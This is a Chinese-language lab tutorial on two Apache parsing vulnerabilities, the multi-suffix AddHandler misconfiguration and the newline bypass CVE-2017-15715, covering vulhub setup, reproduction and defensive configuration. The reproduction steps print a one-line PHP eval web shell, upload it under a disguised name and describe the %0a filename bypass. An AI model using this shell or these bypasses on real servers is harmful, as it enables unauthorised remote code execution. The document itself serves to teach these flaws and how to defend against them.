一、多后缀解析漏洞
1.漏洞说明
配置apache时,对于apache配置不熟练,配置命令不清楚,在配置PHP文件处理程序时,配置命令存在问题:位于漏洞环境目录的
conf/docker-php.conf里的配置命令(AddHandler application/x-httpd-php
.php),该命令会将后缀中只要含有.php的文件都会被处理程序解析,这导致攻击者可通过多后缀绕过文件上传限制以.php结尾的机制,并使之被处理程序执行。
版本条件:Apache 1.x和Apache 2.x
2.搭建环境
cd vulhub/httpd/apache_parsing_vulnerability]
docker-compose up -d
3.漏洞复现
打开文本编辑器,构造一句话木马,<?php @eval($_POST["fname"]);?>
文件命名为shell.php.jpg,将该文件上传
hackbar连接http://192.168.25.128/uploadfiles/shell.php.jpg
使用蚁剑连接成功
4.防御方法
a.拒绝所有文件名含有.php的文件
<FilesMatch “.php.”>
require all denied
b.处理程序只处理以.php 结尾 的文件
首先将上一个防御方案的配置命令注释掉
再注释掉原本的处理出现配置命令AddHandler application/x-httpd-php .php
<FilesMatch “.+.php$”>
SetHandler application/x-httpd-php
以上就是apache多后缀解析漏洞的知识的
二、换行解析漏洞
1.漏洞说明
1)查看网页的html代码可知,该文件上传时采用黑名单形式过滤掉php文件
2)配置文件中设置正则表达式 对象的 Multiline 属性
$ 还会匹配到字符串结尾的换行符,这导致在上传时,添加一个换行符也能被正常解析,并且能够绕过系统的黑名单检测。
2.搭建环境
cd /vulhub/httpd/CVE-2017-15715
docker-compose up -d
3.漏洞复现
构造一个简单的php文件
上传它,然后打开bp,抓取上传数据包
找到文件上传后的名字,php后面加a,然后16进制里把a换成0a。(两处都要加a)
放包,访问上传的文件上传成功
访问http://192.168.25.128:8080/evil.php%0a解析成功,可以成功看到phpinfo信息
使用蚁剑成功连接
4.漏洞防御方法
a.升级apache版本
b.对上传的文件进行重命名
c.上传时采用白名单的验证方式